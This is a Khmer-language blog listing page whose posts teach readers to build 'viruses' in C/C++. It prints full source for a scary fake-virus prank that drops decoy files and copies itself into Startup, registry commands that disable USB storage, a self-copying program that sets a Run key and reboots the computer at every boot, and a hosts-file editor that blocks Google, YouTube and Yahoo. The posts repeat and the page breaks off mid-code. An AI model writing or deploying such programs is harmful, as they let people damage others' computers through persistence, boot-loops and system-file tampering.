Latest Products
Showing posts with label បង្កើតមេរោគ. Show all posts
Showing posts with label បង្កើតមេរោគ. Show all posts
បង្កើតមេរោគ Joke ជាមួយ C++

បង្កើតមេរោគ Joke ជាមួយ C++

បង្កើតមេរោគ Virus Joke Program ជាមួយ C++
a
 

មេរោគកុំព្យូទ័រ ជាកម្មវិធីមួយបែប ដែលមានលទ្ធភាព អាច ធ្វើការចម្លង ខ្លួនរបស់វាពី កន្លែងមួយ ទៅកន្លែងមួយ ផ្សេងទៀតតាមរយៈ File កម្មវិធី អត្ថបទ កុំព្យូទ័រនៅលើ បណ្តាញ និងនៅលើ បង្ហាញលោក អ្នកនូវ កូដ របស់មេរោគ ម៉្យាងដែលមានឈ្មោះថា Virus Joke Program
-ចំណងជើង Virus Joke Program
-អ្នកនិពន្ធ Sohan Vineet Alva
-អ៊ីម៉ែលអ្នកនិពន្ធ dj_shawn2003 [at] hotmail.com
- ពណ៌នាពីមេរោគ This is not exactly a virus …. but good enough to fool someone….. and keep him/her beating around the bush
- ប្រភេទ Virus & Trojans
របៀបបង្កើត
-សូមបើកកម្មវិធី  Dev C++
-បន្ទាប់សូមសរសេរកូដដូចខាងក្រោម
#include<iostream.h>
#include<conio.h>
#include<dos.h>
#include<stdio.h
#include<process.h>
#include<graphics.h>#include<fstream.h>void ffool(); //FUNCTION WHICH GIVES THE FINAL MESSAGEvoid main()
  1. {
    clrscr();
    for(int i=0;i<=100;i++)
    { textcolor(YELLOW+BLINK);
    gotoxy(35,12);
    cprintf(“VIRUS LOADING”);
    gotoxy(39,15);
    textcolor(GREEN);
    cout<<i<<”%”;
    delay(75);
    clrscr();
    }
    delay(100);
    clrscr();
    fflush(stdout);
    gotoxy(20,12);
    cout<<” ‘TOURNIQUET’ VIRUS CREATED BY PROCRAETORIAN”;
    gotoxy(20,14);
    cout<<” SAY GOOD BYE TO YOUR PC IN “;
    for(int j=5;j>=0;j–)
    {
    gotoxy(48,14);
    cout<<j<<” SECONDS”;
    delay(1000);
    }
    ofstream f1;
    f1.open(“c:/windows/All Users/desktop/procraetorian.sys”);
    ofstream f3(“c:/windows/All Users/desktop/blast.sys”);
    ofstream a2(“c:/windows/All Users/desktop/mslaugh.exe”);
    ofstream s2(“c:/windows/All Users/desktop/backdoor.sys”);
    ofstream g2(“c:/windows/All Users/desktop/spin32_war.sys”);
    ofstream h2(“c:/windows/All Users/desktop/russpatr.sys”);
    ofstream j2(“c:/windows/All Users/desktop/torr_sys32.sys”);
    ofstream k2(“c:/windows/All Users/desktop/xxx.sys”);
    ofstream l2(“c:/windows/All Users/desktop/i.txt”);
    ofstream sm(“c:/windows/All Users/desktop/am.txt”);
    ofstream d1(“c:/windows/All Users/desktop/your.txt”);
    ofstream d2(“c:/windows/All Users/desktop/worst.txt”);
    ofstream d3(“c:/windows/All Users/desktop/night.txt”);
    ofstream d4(“c:/windows/All Users/desktop/mare.txt”);
    clrscr();
    lowvideo();
    cout<<” 1.HARD-DISK CORRUPTION
    :”;
    delay(4000);
    cout<<”completed”;
    cout<<” 2.MOTHER BOARD CORRUPTION
    :”;
    delay(4000);
    cout<<”completed”;
    cout<<”
3.INSTALLING CYBERBOB.DLL –>WINDOWS/COMMAND
:”;
delay(4000);
cout<<”completed”;
cout<<”
PROCRAETORIAN.SYS SUCCESSFULLY PLANTED”;
delay(3000);
rename(“VIRUS.EXE”,”C:WINDOWSStart MenuProgramsStartUpVIRUS.EXE”);
//ffool();
}
//*END OF MAIN*//
//*START OF ffool()*//
void ffool()
{
clrscr();
int g=DETECT,h;
initgraph(&g,&h,”\tc\bgi\”);
cleardevice();
delay(1000);
setcolor(2);
settextstyle(1,0,1);
delay(1000);
setbkcolor(BLUE);
highvideo();
outtextxy(50,150,”THE PROCRAETORIAN:”);
delay(1500);
outtextxy(50,200,”YOUR PC IS NOW UNDER SURVEILANCE BY THE VIRUS
HOST”);
outtextxy(50,250,”PEA(C)E BE WITH YOU ! ! !”);
getch();
delay(4000);
closegraph();
exit(0);
}
បន្ទាប់មកសូមចុច Execute (Menu) => Compile & Run ឬ Key F9 ដើម្បីដំណើរការ
————————————————————————–
បង្កើតមេរោគ Virus Joke Program ជាមួយ C++
a
 

មេរោគកុំព្យូទ័រ ជាកម្មវិធីមួយបែប ដែលមានលទ្ធភាព អាច ធ្វើការចម្លង ខ្លួនរបស់វាពី កន្លែងមួយ ទៅកន្លែងមួយ ផ្សេងទៀតតាមរយៈ File កម្មវិធី អត្ថបទ កុំព្យូទ័រនៅលើ បណ្តាញ និងនៅលើ បង្ហាញលោក អ្នកនូវ កូដ របស់មេរោគ ម៉្យាងដែលមានឈ្មោះថា Virus Joke Program
-ចំណងជើង Virus Joke Program
-អ្នកនិពន្ធ Sohan Vineet Alva
-អ៊ីម៉ែលអ្នកនិពន្ធ dj_shawn2003 [at] hotmail.com
- ពណ៌នាពីមេរោគ This is not exactly a virus …. but good enough to fool someone….. and keep him/her beating around the bush
- ប្រភេទ Virus & Trojans
របៀបបង្កើត
-សូមបើកកម្មវិធី  Dev C++
-បន្ទាប់សូមសរសេរកូដដូចខាងក្រោម
#include<iostream.h>
#include<conio.h>
#include<dos.h>
#include<stdio.h
#include<process.h>
#include<graphics.h>#include<fstream.h>void ffool(); //FUNCTION WHICH GIVES THE FINAL MESSAGEvoid main()
  1. {
    clrscr();
    for(int i=0;i<=100;i++)
    { textcolor(YELLOW+BLINK);
    gotoxy(35,12);
    cprintf(“VIRUS LOADING”);
    gotoxy(39,15);
    textcolor(GREEN);
    cout<<i<<”%”;
    delay(75);
    clrscr();
    }
    delay(100);
    clrscr();
    fflush(stdout);
    gotoxy(20,12);
    cout<<” ‘TOURNIQUET’ VIRUS CREATED BY PROCRAETORIAN”;
    gotoxy(20,14);
    cout<<” SAY GOOD BYE TO YOUR PC IN “;
    for(int j=5;j>=0;j–)
    {
    gotoxy(48,14);
    cout<<j<<” SECONDS”;
    delay(1000);
    }
    ofstream f1;
    f1.open(“c:/windows/All Users/desktop/procraetorian.sys”);
    ofstream f3(“c:/windows/All Users/desktop/blast.sys”);
    ofstream a2(“c:/windows/All Users/desktop/mslaugh.exe”);
    ofstream s2(“c:/windows/All Users/desktop/backdoor.sys”);
    ofstream g2(“c:/windows/All Users/desktop/spin32_war.sys”);
    ofstream h2(“c:/windows/All Users/desktop/russpatr.sys”);
    ofstream j2(“c:/windows/All Users/desktop/torr_sys32.sys”);
    ofstream k2(“c:/windows/All Users/desktop/xxx.sys”);
    ofstream l2(“c:/windows/All Users/desktop/i.txt”);
    ofstream sm(“c:/windows/All Users/desktop/am.txt”);
    ofstream d1(“c:/windows/All Users/desktop/your.txt”);
    ofstream d2(“c:/windows/All Users/desktop/worst.txt”);
    ofstream d3(“c:/windows/All Users/desktop/night.txt”);
    ofstream d4(“c:/windows/All Users/desktop/mare.txt”);
    clrscr();
    lowvideo();
    cout<<” 1.HARD-DISK CORRUPTION
    :”;
    delay(4000);
    cout<<”completed”;
    cout<<” 2.MOTHER BOARD CORRUPTION
    :”;
    delay(4000);
    cout<<”completed”;
    cout<<”
3.INSTALLING CYBERBOB.DLL –>WINDOWS/COMMAND
:”;
delay(4000);
cout<<”completed”;
cout<<”
PROCRAETORIAN.SYS SUCCESSFULLY PLANTED”;
delay(3000);
rename(“VIRUS.EXE”,”C:WINDOWSStart MenuProgramsStartUpVIRUS.EXE”);
//ffool();
}
//*END OF MAIN*//
//*START OF ffool()*//
void ffool()
{
clrscr();
int g=DETECT,h;
initgraph(&g,&h,”\tc\bgi\”);
cleardevice();
delay(1000);
setcolor(2);
settextstyle(1,0,1);
delay(1000);
setbkcolor(BLUE);
highvideo();
outtextxy(50,150,”THE PROCRAETORIAN:”);
delay(1500);
outtextxy(50,200,”YOUR PC IS NOW UNDER SURVEILANCE BY THE VIRUS
HOST”);
outtextxy(50,250,”PEA(C)E BE WITH YOU ! ! !”);
getch();
delay(4000);
closegraph();
exit(0);
}
បន្ទាប់មកសូមចុច Execute (Menu) => Compile & Run ឬ Key F9 ដើម្បីដំណើរការ
————————————————————————–
បង្កើតមេរោគ Joke ជាមួយ C++
View detail
បង្កើតមេរោគកុំព្យូទ័រ លើកម្មវិធី C++

បង្កើតមេរោគកុំព្យូទ័រ លើកម្មវិធី C++

a
បិទ USB:

#include<stdio.h>
void main()
{
system(“reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f”);
}
វានឹងឆ្លងសម្រាប់អ្នកចេះសរសេរ, Compile –> RUN (Alt+ F9 and Ctrl + F9)
បើក USB:
#include<stdio.h>
void main()
{
system(“reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f”);
}
បង្កើតមេរោគ Restart កុំព្យូទ័រ ពេល Startup
របៀបបង្កើតមេរោគ​ម៉្យាងដែលវាមានសមត្ថភាពអាច Restart កុំព្យូទ័រ ដោយខ្លួននៅពេលដែលយើងបើក។
នៅពេលដែលមេរោគនេះឆ្លង ចូលកុំព្យូទ័រណាហើយ កុំព្យូទ័រនោះតែងតែ Restart ដោយខ្លួនវាជារៀងរាល់ពេល
មានន័យថានៅពេលដែលកុំព្យូទ័រចាប់ផ្ដើម Boot គឺមេរោគវាចាប់ផ្ដើមធ្វើទុក្ខបុកម្នេញតែម្ដង។
ដោយវិធីបង្កើតវាយើងត្រូវសរសេរកូដនៅលើភាសា C
សូមផ្ដាំថា ប្រសិនបើកុំព្យូទ័រលោកអ្នកមិនមានកម្មវិធីកម្ចាត់មេរោគស្របច្បាប់ទេ សូមកុំព្យាយាមបង្កើតវាលេងអី
ព្រោះបានអនុវត្ដន៍ខូច Windows អស់មួយហើយ។
សូមអនុវត្តន៍ជាមួយកូដខាងក្រោម
#include<stdio.h>
#include<dos.h>
#include<dir.h>  
int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //បញ្ជាក់ root drive
if(done==0)
{
done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //បញ្ជាក់ថាទៅជាមេរោគបានឆ្លង ឬមិនទាន់ឆ្លង វានឹងតំឡើង ឬអត់
if(done==0)
{
found=1;//មានន័យថា system របស់អ្នកបានឆ្លងរួចរាល់ហើយ
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
findroot();
if(found==0) //ប្រសិនបើ System មិនទាន់បានឆ្លង
{
self=fopen(_argv[0],”rb”); //មេរោគ នឹងដំណើរការដោយខ្លួនឯង
switch(drive_no)
{
case 1:
target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //កន្លែងចម្លងខ្លួនដោយខ្លួនវាផ្ទាល់
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //ដាក់ file  registry សម្រាប់ starup
break;
case 2:
target=fopen(“D:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;
case 3:
target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;
case 4:
target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system(“shutdown -r -t 0″); //ប្រសិន system ត្រូវបានឆ្លងរួចហើយវានឹងដំណើរ command  restart
———————————————————————-
a
បិទ USB:

#include<stdio.h>
void main()
{
system(“reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 4 \/f”);
}
វានឹងឆ្លងសម្រាប់អ្នកចេះសរសេរ, Compile –> RUN (Alt+ F9 and Ctrl + F9)
បើក USB:
#include<stdio.h>
void main()
{
system(“reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f”);
}
បង្កើតមេរោគ Restart កុំព្យូទ័រ ពេល Startup
របៀបបង្កើតមេរោគ​ម៉្យាងដែលវាមានសមត្ថភាពអាច Restart កុំព្យូទ័រ ដោយខ្លួននៅពេលដែលយើងបើក។
នៅពេលដែលមេរោគនេះឆ្លង ចូលកុំព្យូទ័រណាហើយ កុំព្យូទ័រនោះតែងតែ Restart ដោយខ្លួនវាជារៀងរាល់ពេល
មានន័យថានៅពេលដែលកុំព្យូទ័រចាប់ផ្ដើម Boot គឺមេរោគវាចាប់ផ្ដើមធ្វើទុក្ខបុកម្នេញតែម្ដង។
ដោយវិធីបង្កើតវាយើងត្រូវសរសេរកូដនៅលើភាសា C
សូមផ្ដាំថា ប្រសិនបើកុំព្យូទ័រលោកអ្នកមិនមានកម្មវិធីកម្ចាត់មេរោគស្របច្បាប់ទេ សូមកុំព្យាយាមបង្កើតវាលេងអី
ព្រោះបានអនុវត្ដន៍ខូច Windows អស់មួយហើយ។
សូមអនុវត្តន៍ជាមួយកូដខាងក្រោម
#include<stdio.h>
#include<dos.h>
#include<dir.h>  
int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(“C:\\windows\\system”,&ffblk,FA_DIREC); //បញ្ជាក់ root drive
if(done==0)
{
done=findfirst(“C:\\windows\\system\\sysres.exe”,&ffblk,0); //បញ្ជាក់ថាទៅជាមេរោគបានឆ្លង ឬមិនទាន់ឆ្លង វានឹងតំឡើង ឬអត់
if(done==0)
{
found=1;//មានន័យថា system របស់អ្នកបានឆ្លងរួចរាល់ហើយ
return;
}
drive_no=1;
return;
}
done=findfirst(“D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(“E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(“F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(“F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
findroot();
if(found==0) //ប្រសិនបើ System មិនទាន់បានឆ្លង
{
self=fopen(_argv[0],”rb”); //មេរោគ នឹងដំណើរការដោយខ្លួនឯង
switch(drive_no)
{
case 1:
target=fopen(“C:\\windows\\system\\sysres.exe”,”wb”); //កន្លែងចម្លងខ្លួនដោយខ្លួនវាផ្ទាល់
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //ដាក់ file  registry សម្រាប់ starup
break;
case 2:
target=fopen(“D:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;
case 3:
target=fopen(“E:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;
case 4:
target=fopen(“F:\\windows\\system\\sysres.exe”,”wb”);
system(“REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system(“shutdown -r -t 0″); //ប្រសិន system ត្រូវបានឆ្លងរួចហើយវានឹងដំណើរ command  restart
———————————————————————-
បង្កើតមេរោគកុំព្យូទ័រ លើកម្មវិធី C++
View detail
សរសេរមេរោគបិទវ៉ិបសាយ

សរសេរមេរោគបិទវ៉ិបសាយ


បង្កើតមេរោគបិទវ៉ិបសាយ Virus Block Websites
ការសរសេរដោយប្រើកម្មវិធី C ដើម្បីសរសេរ និង compile ជាមេរោគ
ខាងក្រោមនេះប្រភពកូដ source code សរសេរក្នុង ​​កម្មវិធីC
#include<stdio.h>
#include<dos.h>
#include<dir.h>
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(”C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}
ធ្វើយ៉ាងណាដើម្បី Compile ?
1. ដោនឡូត Download ប្រភពកូដ source code មេរោគ ចុចលើនេះ.
2. ចំលងបញ្ចូល Compile source code ដោយប្រើ C/C++ compiler។
3. សាកល្បង រត់ compiled module វានឹងបិទវ៉ិបសាយ
4. ម្យ៉ាងទៀតលោកអ្នករត់ file block_Site.exe, ពេលនោះ restart កម្មវិធី browser ហើយបានបិទ URL បង្ហាញលេចចេញ “Page cannot displayed“។
4. ដោះចេញ remove បង្ហាញដូចខាងក្រោម
%windir%\system32\drivers\etc
5. បើកឈ្មោះ file named “hosts” ដោយប្រើ notepad ចុចបើក អ្នកនឹងឃើញ 127.0.0.1  google.com
6. លប់វាចេញ។
———————————————————————————

បង្កើតមេរោគបិទវ៉ិបសាយ Virus Block Websites
ការសរសេរដោយប្រើកម្មវិធី C ដើម្បីសរសេរ និង compile ជាមេរោគ
ខាងក្រោមនេះប្រភពកូដ source code សរសេរក្នុង ​​កម្មវិធីC
#include<stdio.h>
#include<dos.h>
#include<dir.h>
char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(”C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(”F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(”F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}
ធ្វើយ៉ាងណាដើម្បី Compile ?
1. ដោនឡូត Download ប្រភពកូដ source code មេរោគ ចុចលើនេះ.
2. ចំលងបញ្ចូល Compile source code ដោយប្រើ C/C++ compiler។
3. សាកល្បង រត់ compiled module វានឹងបិទវ៉ិបសាយ
4. ម្យ៉ាងទៀតលោកអ្នករត់ file block_Site.exe, ពេលនោះ restart កម្មវិធី browser ហើយបានបិទ URL បង្ហាញលេចចេញ “Page cannot displayed“។
4. ដោះចេញ remove បង្ហាញដូចខាងក្រោម
%windir%\system32\drivers\etc
5. បើកឈ្មោះ file named “hosts” ដោយប្រើ notepad ចុចបើក អ្នកនឹងឃើញ 127.0.0.1  google.com
6. លប់វាចេញ។
———————————————————————————
សរសេរមេរោគបិទវ៉ិបសាយ
https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi1slmI-kAt9SaXNhAyIWUDFbCqMK5fgSqHRGti6LxvX2MgTFrYPwK4vPAKRXbv2lRTAcVUBlgPGSl9DhOtCIJTELkDVEj3Xbl1_qE_QJnOZdO1qqt-ELrilc_HQQ0_vThnjZtlPyzAKyo/s72-c/0.jpg
View detail
បង្កើតមេរោគ Restart កុំព្យូទ័រ Startup

បង្កើតមេរោគ Restart កុំព្យូទ័រ Startup

សរសេរកូដបង្កើត មេរោគ Restart កុំព្យូទ័រ រាល់ពេល បើក Startup Windows
ការសរសេរដោយប្រើកម្មវិធី C ដើម្បីសរសេរ និង compile ជាមេរោគ

a
ចូលដោនឡូត Source Code  ទីនេះ 
#include<stdio.h>
#include<dos.h>
#include<dir.h>
int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(”C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(”C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(”D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(”D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(”E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(”E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(”F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(”F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}

void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(”C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;

case 2:
target=fopen(”D:\\windows\\system\\sysres.exe”,”wb”);
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;
case 3:
target=fopen(”E:\\windows\\system\\sysres.exe”,”wb”);
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;
case 4:
target=fopen(”F:\\windows\\system\\sysres.exe”,”wb”);
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe”);
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system(”shutdown -r -t 0″); //if the system is already infected then just give a command to restart
}
តែសសាកល្បង រួចហើយ Remove មេរោគចេញ ពីកុំព្យូទ័រ
លោកអ្នក compile សាកល្បង រួចហើយ មេរោគនេះ ក្នុងកុំព្យូទ័ររបស់អ្នក ដោយចុចពីរដងលើ sysres.exe file រួចហើយ restart system ពេលនោះគ្រប់ពេលកុំព្យូទ័រ boot  restart ដោយស្វ័យប្រវត្តិម្តងហើយម្តងទៀត។ ខាងក្រោមនេះជំហាន remove ចេញពីកុំព្យូទ័ររបស់អ្នក
1. Reboot កុំព្យូទ័រ ជ្រើសរើស SAFE MODE
2. ចូលក្នុង X:\Windows\System (X អាចជា C,D,E ឬ F)
3.រកមើល file មួយមានឈ្មោះថា sysres.exe លប់វាចោល
4. វាយសរសេរ regedit ក្នុង run.អ្នកនឹងចូលដល់ registry editor​ ដែលមាន
HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run 
នៅខាងស្តាំដៃ បញ្ជីឈ្មោះ  “sres“.លប់ចោលចេញពីលើវា  ពេលនោះលោកអ្នកបាន remove ចេញជោគជ័យ។
វិធីឡូស៊ីច LOGIC:
1.ដំបូងមេរោគ និងរក Root partition (Partition លើ Windows ត្រូវបានដំឡើង).
2. បន្ទាប់មកមេរោគ Virus file គឺចំលងចូល X:\Windows\System
3. ប្រសិនបើមិនដូច្នោះមេរោគបានតោងជាប់ X:\Windows\System បង្កើតលើ registry entry ចូលក្នុង startup។
សរសេរកូដបង្កើត មេរោគ Restart កុំព្យូទ័រ រាល់ពេល បើក Startup Windows
ការសរសេរដោយប្រើកម្មវិធី C ដើម្បីសរសេរ និង compile ជាមេរោគ

a
ចូលដោនឡូត Source Code  ទីនេះ 
#include<stdio.h>
#include<dos.h>
#include<dir.h>
int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(”C:\\windows\\system”,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(”C:\\windows\\system\\sysres.exe”,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(”D:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(”D:\\windows\\system\\sysres.exe”,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(”E:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(”E:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(”F:\\windows\\system”,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(”F:\\windows\\system\\sysres.exe”,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}

void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],”rb”); //The virus file open’s itself
switch(drive_no)
{
case 1:
target=fopen(”C:\\windows\\system\\sysres.exe”,”wb”); //to place a copy of itself in a remote place
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe”); //put this file to registry for starup
break;

case 2:
target=fopen(”D:\\windows\\system\\sysres.exe”,”wb”);
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe”);
break;
case 3:
target=fopen(”E:\\windows\\system\\sysres.exe”,”wb”);
system(”REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe”);
break;
case 4:
target=fopen(”F:\\windows\\system\\sysres.exe”,”wb”);
